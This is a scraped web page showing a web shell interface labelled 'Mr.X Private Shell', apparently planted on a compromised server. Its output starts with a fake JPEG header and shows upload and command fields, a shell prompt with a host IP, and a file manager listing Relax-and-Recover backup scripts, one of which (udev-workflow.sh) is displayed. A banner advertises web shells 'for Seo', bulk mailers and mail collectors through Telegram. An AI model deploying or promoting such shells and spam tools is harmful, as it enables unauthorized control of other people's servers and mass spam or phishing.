����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
# udev-workflow.sh
#
# udev workflow for Relax-and-Recover
#
# This file is part of Relax-and-Recover, licensed under the GNU General
# Public License. Refer to the included COPYING for full text of license.

if [[ "$VERBOSE" ]]; then
    WORKFLOW_udev_DESCRIPTION="udev handler; triggered by udev rule"
fi
WORKFLOWS+=( udev )
WORKFLOW_udev () {

    # Do nothing in simulation mode, cf. https://github.com/rear/rear/issues/1939
    if is_true "$SIMULATE" ; then
        LogPrint "${BASH_SOURCE[0]} is a udev handler; triggered by udev rule"
        return 0
    fi

    # If no udev workflow has been defined, exit cleanly
    if [[ -z "$UDEV_WORKFLOW" ]]; then
        Log "Variable UDEV_WORKFLOW not set, skipping udev workflow."
        return
    fi

    WORKFLOW="$UDEV_WORKFLOW"

    # Triggered by block-device, so force OUTPUT
    OUTPUT=USB

    # Set USB_DEVICE based on ID_FS_LABEL or UDEV DEVNAME
    if [[ "$ID_FS_LABEL" && -b "/dev/disk/by-label/$ID_FS_LABEL" ]]; then
        Log "Using USB or disk device based on udev ID_FS_LABEL '$ID_FS_LABEL'"
        USB_DEVICE="/dev/disk/by-label/$ID_FS_LABEL"
    elif [[ "$DEVNAME" && -b "$DEVNAME" ]]; then
        Log "Using USB or disk device based on udev DEVNAME '$DEVNAME'"
        USB_DEVICE="$DEVNAME"
    else
        Log "We cannot determine USB or disk device from udev, using configuration"
    fi

    # If udev workflow does not exist, bail out loudly
    has_binary WORKFLOW_$WORKFLOW || Error "Udev workflow '$UDEV_WORKFLOW' does not exist"

    # Turn the UID led on
    if has_binary hpasmcli && [[ "$UDEV_UID_LED" =~ ^[yY1] ]]; then
        hpasmcli -s "set uid on" >/dev/null
    fi

    # Run udev workflow
    WORKFLOW_$UDEV_WORKFLOW "${ARGS[@]}"

    # Blink the UID led and turn it off
    if has_binary hpasmcli && [[ "$UDEV_UID_LED" =~ ^[yY1] ]]; then
        hpasmcli -s "set uid off" >/dev/null; sleep 0.5
        hpasmcli -s "set uid on" >/dev/null; sleep 0.5
        hpasmcli -s "set uid off" >/dev/null; sleep 0.5
        hpasmcli -s "set uid on" >/dev/null; sleep 0.5
        hpasmcli -s "set uid off" >/dev/null
    fi

    # Suspend USB port (works fine on RHEL6, fails on RHEL5 and older)
    if [[ "$DEVPATH" && "$UDEV_SUSPEND" =~ ^[yY1] ]]; then
        path="/sys$DEVPATH"
        Log "Trying to suspend USB or disk device at '$path'"
        while [[ "$path" != "/sys" && ! -w "$path/power/level" ]]; do
            path=$(dirname $path)
        done
        if [[ -w "$path/power/level" ]]; then
            Log "Suspending USB or disk device at '$path'"
            echo -n suspend >$path/power/level
        fi
    fi

    # Beep distinctively
    if [[ "$UDEV_BEEP" =~ ^[yY1] ]]; then
        ### Make sure we have a PC speaker driver loaded
        if grep -q pcpskr /proc/modules || modprobe pcspkr; then
            Log "Beep through PC speaker."
            if has_binary beep; then
                # After testing in a noisy datacenter, this seems the best
                # (although it takes up 4 seconds)
                beep -f 2000 -l 1000 -d 500 -r 3 >/dev/null
            else
                for i in $(seq 1 15); do
                    echo -en "\a" >/dev/tty0
                    sleep 0.05
                done
            fi
        else
            LogPrint "Speaker driver failed to load, no beeps, sorry !"
        fi
    fi
}

Filemanager

Name Type Size Permission Actions
validated Folder 0755
.shellcheckrc File 25 B 0644
_input-output-functions.sh File 87.9 KB 0644
array-functions.sh File 1.08 KB 0644
authtoken-functions.sh File 16.83 KB 0644
bareos-functions.sh File 10.3 KB 0644
bootloader-functions.sh File 42.15 KB 0644
borg-functions.sh File 6.9 KB 0644
checklayout-workflow.sh File 646 B 0644
columns-functions.sh File 2.95 KB 0644
config-functions.sh File 7.87 KB 0644
drlm-functions.sh File 2.6 KB 0644
dump-workflow.sh File 6.89 KB 0644
filesystems-functions.sh File 10.63 KB 0644
finalizeonly-workflow.sh File 1.22 KB 0644
format-workflow.sh File 3.79 KB 0644
framework-functions.sh File 8.55 KB 0644
global-functions.sh File 41.29 KB 0644
help-workflow.sh File 3.5 KB 0644
hp_raid-functions.sh File 871 B 0644
layout-functions.sh File 61.66 KB 0644
layoutonly-workflow.sh File 803 B 0644
linux-functions.sh File 12.85 KB 0644
mail-functions.sh File 1.39 KB 0644
mkbackup-workflow.sh File 585 B 0644
mkbackuponly-workflow.sh File 368 B 0644
mkboot-workflow.sh File 1.13 KB 0644
mkopalpba-workflow.sh File 890 B 0644
mkrescue-functions.sh File 5.72 KB 0644
mkrescue-workflow.sh File 461 B 0644
mountonly-workflow.sh File 1.7 KB 0644
network-functions.sh File 8.53 KB 0644
opal-functions.sh File 15.67 KB 0644
opaladmin-workflow.sh File 18.37 KB 0644
output-functions.sh File 3.17 KB 0644
progresssubsystem.nosh File 2.32 KB 0644
rear-shell.bashrc File 2.67 KB 0644
recover-workflow.sh File 1.57 KB 0644
restoreonly-workflow.sh File 832 B 0644
rsync-functions.sh File 4.56 KB 0644
savelayout-workflow.sh File 739 B 0644
serial-functions.sh File 3.98 KB 0644
sesam-functions.sh File 1.18 KB 0644
shell-workflow.sh File 648 B 0644
udev-workflow.sh File 3.27 KB 0644
uefi-functions.sh File 6.33 KB 0644
validate-workflow.sh File 4.88 KB 0644
write-protect-functions.sh File 7.75 KB 0644